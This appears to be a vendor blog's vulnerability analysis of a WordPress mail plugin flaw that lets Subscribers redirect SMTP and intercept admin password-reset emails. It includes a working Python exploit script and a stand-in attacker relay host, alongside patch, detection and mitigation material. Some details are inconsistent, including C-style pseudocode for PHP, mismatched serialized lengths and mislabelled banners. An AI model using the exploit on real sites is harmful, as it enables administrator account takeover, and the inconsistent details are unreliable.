home intel cve-2026-6963-wp-mail-gateway-privilege-escalation
CVE Analysis 2026-05-02 · 8 min read

CVE-2026-6963: WP Mail Gateway SMTP Hijack → Admin Takeover

Missing capability check on wmg_save_provider_config lets any Subscriber rewrite SMTP config, redirect password reset emails, and fully compromise WordPress admin accounts.

#wordpress-plugin#privilege-escalation#missing-capability-check#smtp-hijacking#authenticated-attack
Technical mode — for security professionals
▶ Privilege escalation — CVE-2026-6963
USER SPACELow privilegeVULNERABILITYCVE-2026-6963 · Cross-platformKERNEL / ROOTFull system accessNo confirmed exploits · HIGH

Vulnerability Overview

CVE-2026-6963 is an unauthorized access vulnerability in the WP Mail Gateway WordPress plugin affecting all versions up to and including 1.8. The AJAX action wmg_save_provider_config registers a handler that writes attacker-controlled SMTP credentials to the plugin's options table without verifying the caller holds any administrative capability. Any authenticated user — including the lowest-privilege Subscriber role — can invoke this action directly via wp-admin/admin-ajax.php.

The practical impact exceeds a simple configuration overwrite. By redirecting outbound mail through an attacker-controlled SMTP relay, the attacker intercepts the next WordPress password-reset token sent to an administrator, then uses that token to authenticate as that administrator. CVSS 8.8 (HIGH) reflects the low privilege required for initial access against the complete confidentiality/integrity/availability impact of full admin compromise.

Root cause: wmg_save_provider_config calls check_ajax_referer() for CSRF protection but omits any current_user_can() capability check, allowing any authenticated session to overwrite SMTP provider settings.

Affected Component

Plugin: WP Mail Gateway — slug wp-mail-gateway on wordpress.org.
Affected versions: ≤ 1.8.
Vulnerable hook registration: includes/class-wmg-ajax.php, action tag wp_ajax_wmg_save_provider_config.
Persistence target: WordPress options table row wmg_provider_config, serialized PHP array.

Root Cause Analysis

WordPress AJAX actions registered with wp_ajax_{action} are accessible to any logged-in user regardless of role unless the handler explicitly calls current_user_can(). The plugin validates the nonce (preventing CSRF from unauthenticated users) but stops there, leaving authorization entirely unchecked.


/* Reconstructed pseudocode: includes/class-wmg-ajax.php
 * WMG_Ajax::save_provider_config()
 * Registered via: add_action('wp_ajax_wmg_save_provider_config', [$this, 'save_provider_config'])
 */
void WMG_Ajax::save_provider_config() {

    // Validates nonce — prevents unauthenticated CSRF, but does NOT
    // establish that the caller has any administrative privilege.
    check_ajax_referer('wmg_ajax_nonce', 'security');

    // BUG: missing capability check here.
    // Should be: if (!current_user_can('manage_options')) { wp_die(-1); }

    // Unvalidated POST fields flow directly into sanitization and storage.
    char *provider = sanitize_text_field($_POST['provider']);   // e.g. "smtp"
    char *host     = sanitize_text_field($_POST['smtp_host']);
    int   port     = (int)$_POST['smtp_port'];                  // attacker-controlled
    char *user     = sanitize_text_field($_POST['smtp_user']);
    char *pass     = sanitize_text_field($_POST['smtp_pass']);   // plaintext in options table
    int   auth     = (int)$_POST['smtp_auth'];
    char *enc      = sanitize_text_field($_POST['smtp_enc']);    // "tls"|"ssl"|"none"

    // Builds config array directly from POST data.
    option_t config = {
        .provider  = provider,
        .smtp_host = host,
        .smtp_port = port,
        .smtp_user = user,
        .smtp_pass = pass,
        .smtp_auth = auth,
        .smtp_enc  = enc,
    };

    // Persists attacker's SMTP config to wp_options.wmg_provider_config.
    // All subsequent outbound mail now routes through attacker's relay.
    update_option("wmg_provider_config", serialize(config));

    wp_send_json_success("Provider config saved.");
    // wp_die() implicit via wp_send_json_success
}

The nonce itself is trivially obtainable: it is embedded in any wp-admin page the subscriber can load — typically the dashboard at /wp-admin/ — inside the wmgAjax JavaScript object printed by wp_localize_script().


/* Nonce exposure: includes/class-wmg-public.php (or -admin.php)
 * Any authenticated page load leaks the nonce to the subscriber.
 */
void WMG_Admin::enqueue_scripts() {
    wp_enqueue_script("wmg-admin", WMG_PLUGIN_URL "/js/wmg-admin.js", ...);
    wp_localize_script("wmg-admin", "wmgAjax", {
        "ajax_url": admin_url("admin-ajax.php"),
        "security": wp_create_nonce("wmg_ajax_nonce"),  // <-- readable by any logged-in user
    });
}

Exploitation Mechanics


EXPLOIT CHAIN:
1. Attacker registers a Subscriber account (or uses any existing low-priv session).

2. Attacker loads any wp-admin page (e.g. /wp-admin/) and extracts wmgAjax.security
   nonce from the page source or inline JavaScript object.

3. Attacker sends POST to /wp-admin/admin-ajax.php:
     action      = wmg_save_provider_config
     security    = 
     provider    = smtp
     smtp_host   = attacker-relay.evil.example
     smtp_port   = 587
     smtp_user   = exfil@evil.example
     smtp_pass   = attackerpass
     smtp_auth   = 1
     smtp_enc    = tls

4. wp_options row wmg_provider_config is overwritten; all plugin-routed mail
   now relays through attacker-controlled SMTP server.

5. Attacker navigates to /wp-login.php?action=lostpassword and submits the
   email address of a known or enumerated Administrator account.

6. WordPress generates a single-use password reset token and calls wp_mail().
   WP Mail Gateway intercepts wp_mail() via its PHPMailer integration and
   delivers the message through the attacker's relay.

7. Attacker's SMTP relay logs or forwards the reset email, extracting the
   reset URL: /wp-login.php?action=rp&key=&login=

8. Attacker visits reset URL, sets a new password for the Administrator.

9. Attacker authenticates as Administrator — full site compromise achieved.
   Capability: install plugins, execute PHP via theme editor, read DB credentials.

Step 2's nonce extraction can be automated. The nonce lifetime is 12 hours by default (WP_NONCE_LIFE), giving ample operational window.


# Proof-of-concept: wmg_smtp_hijack.py
# Usage: python3 wmg_smtp_hijack.py https://target.example subscriber:password relay.evil.example

import sys, re, requests

TARGET, CREDS, RELAY = sys.argv[1], sys.argv[2], sys.argv[3]
USER, PASSWD = CREDS.split(":", 1)

s = requests.Session()

# Step 1: authenticate as subscriber
r = s.post(f"{TARGET}/wp-login.php", data={
    "log": USER, "pwd": PASSWD, "wp-submit": "Log In",
    "redirect_to": "/wp-admin/", "testcookie": "1"
}, allow_redirects=True)
assert "Dashboard" in r.text or "wp-admin" in r.url, "Login failed"

# Step 2: extract nonce from any admin page
r = s.get(f"{TARGET}/wp-admin/")
nonce = re.search(r'"security"\s*:\s*"([a-f0-9]+)"', r.text)
assert nonce, "Nonce not found — plugin may not be active"
nonce = nonce.group(1)
print(f"[+] Nonce: {nonce}")

# Step 3: overwrite SMTP configuration
r = s.post(f"{TARGET}/wp-admin/admin-ajax.php", data={
    "action":    "wmg_save_provider_config",
    "security":  nonce,
    "provider":  "smtp",
    "smtp_host": RELAY,
    "smtp_port": "587",
    "smtp_user": f"exfil@{RELAY}",
    "smtp_pass": "hunter2",
    "smtp_auth": "1",
    "smtp_enc":  "tls",
})
assert r.json().get("success"), f"Config write failed: {r.text}"
print(f"[+] SMTP redirected to {RELAY}")

# Step 4: trigger password reset for admin (enumerate or provide known address)
ADMIN_EMAIL = input("[?] Admin email address: ")
r = s.post(f"{TARGET}/wp-login.php?action=lostpassword", data={
    "user_login": ADMIN_EMAIL, "redirect_to": "", "wp-submit": "Get New Password"
})
print("[+] Reset email dispatched through attacker relay. Check relay logs.")

Memory Layout

This is a logic vulnerability, not a memory corruption bug; no heap layout is applicable. The relevant "state" is the WordPress options table before and after exploitation.


wp_options TABLE STATE — BEFORE ATTACK:
┌─────────────────────────────────────────────────────────────────┐
│ option_name: wmg_provider_config                                │
│ option_value (serialized):                                      │
│   a:7:{                                                         │
│     s:8:"provider";  s:4:"smtp";                                │
│     s:9:"smtp_host"; s:17:"mail.legitsite.com";                 │
│     s:9:"smtp_port"; i:587;                                     │
│     s:9:"smtp_user"; s:20:"noreply@legitsite.com";              │
│     s:9:"smtp_pass"; s:12:"[REDACTED]";                         │
│     s:9:"smtp_auth"; i:1;                                       │
│     s:8:"smtp_enc";  s:3:"tls";                                 │
│   }                                                             │
└─────────────────────────────────────────────────────────────────┘

wp_options TABLE STATE — AFTER ATTACK (wmg_save_provider_config):
┌─────────────────────────────────────────────────────────────────┐
│ option_name: wmg_provider_config                                │
│ option_value (serialized):  [OVERWRITTEN by Subscriber]         │
│   a:7:{                                                         │
│     s:8:"provider";  s:4:"smtp";                                │
│     s:9:"smtp_host"; s:25:"attacker-relay.evil.example"; <-EVIL │
│     s:9:"smtp_port"; i:587;                                     │
│     s:9:"smtp_user"; s:20:"exfil@evil.example";        <-EVIL   │
│     s:9:"smtp_pass"; s:6:"hunter2";                    <-EVIL   │
│     s:9:"smtp_auth"; i:1;                                       │
│     s:8:"smtp_enc";  s:3:"tls";                                 │
│   }                                                             │
│                                                                 │
│  ALL subsequent wp_mail() calls route through evil relay.       │
│  Password reset tokens exfiltrated before delivery.            │
└─────────────────────────────────────────────────────────────────┘

Patch Analysis

The fix is a single capability gate inserted immediately after nonce verification. The patched handler should also restrict which fields are writable and enforce type/range constraints on smtp_port.


// BEFORE (vulnerable — ≤ 1.8):
void WMG_Ajax::save_provider_config() {
    check_ajax_referer('wmg_ajax_nonce', 'security');
    // No capability check — any logged-in user proceeds.
    char *host = sanitize_text_field($_POST['smtp_host']);
    // ... direct write to options table ...
    update_option("wmg_provider_config", serialize(config));
    wp_send_json_success("Provider config saved.");
}

// AFTER (patched — 1.9+):
void WMG_Ajax::save_provider_config() {
    check_ajax_referer('wmg_ajax_nonce', 'security');

    // FIX: gate on manage_options — Admins and Super Admins only.
    if (!current_user_can('manage_options')) {
        wp_send_json_error("Insufficient permissions.", 403);
        wp_die();
    }

    char *host = sanitize_text_field($_POST['smtp_host']);

    // FIX: constrain port to valid range, reject non-integer input.
    int port = (int)$_POST['smtp_port'];
    if (port < 1 || port > 65535) {
        wp_send_json_error("Invalid port.", 400);
        wp_die();
    }

    // ... write to options table ...
    update_option("wmg_provider_config", serialize(config));
    wp_send_json_success("Provider config saved.");
}

A defense-in-depth improvement would move SMTP credentials out of wp_options (world-readable to any code running on the server) into a separate protected table or WordPress's Secret Key infrastructure. Storing the relay password in plaintext via sanitize_text_field() means any LFI or database read exposes it.

Detection and Indicators

Access log pattern — repeated POST to admin-ajax.php with action=wmg_save_provider_config from a non-admin session:


# Suspicious: low-privilege user hitting config-write endpoint
POST /wp-admin/admin-ajax.php HTTP/1.1
Cookie: wordpress_logged_in_=subscriber_user|...
Body: action=wmg_save_provider_config&security=&smtp_host=attacker-relay.evil.example

# Grep pattern for Apache/Nginx access logs:
grep 'admin-ajax.php' access.log | grep 'wmg_save_provider_config'

# WordPress debug.log (if WP_DEBUG_LOG enabled) will NOT log this —
# the action succeeds silently. Rely on access logs or a WAF rule.

Database indicator — query wp_options and diff wmg_provider_config against known-good baseline:


SELECT option_value FROM wp_options WHERE option_name = 'wmg_provider_config';
-- Flag any smtp_host not matching your legitimate mail provider.
-- Flag smtp_user/smtp_pass change timestamps via wp_options autoload audit.

Behavioral indicator — password reset email sent to administrator account followed immediately by a login from an IP not associated with that administrator. Correlate wp_users.last_login (via plugin) or authentication logs.

Remediation

Update immediately to WP Mail Gateway 1.9 or later. If immediate update is not possible:

Temporary mitigation (mu-plugin):


/* /wp-content/mu-plugins/block-wmg-subscriber-ajax.php
 * Blocks non-admins from wmg_save_provider_config until plugin is patched.
 */
add_action('wp_ajax_wmg_save_provider_config', function() {
    if (!current_user_can('manage_options')) {
        wp_send_json_error('Forbidden', 403);
        wp_die();
    }
}, 1 /* priority 1 — runs before plugin's own handler */);

WAF rule (ModSecurity / Nginx):


# ModSecurity — block non-admin AJAX config writes
SecRule REQUEST_URI "@contains admin-ajax.php" \
    "chain,id:9000001,phase:2,deny,status:403,msg:'WP Mail Gateway priv-esc attempt'"
SecRule ARGS:action "@streq wmg_save_provider_config"

Additionally: enable WordPress two-factor authentication on all administrator accounts. Even if the reset token is intercepted, a TOTP second factor prevents the final login step. Consider restricting /wp-login.php?action=lostpassword to trusted IP ranges if operationally feasible.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →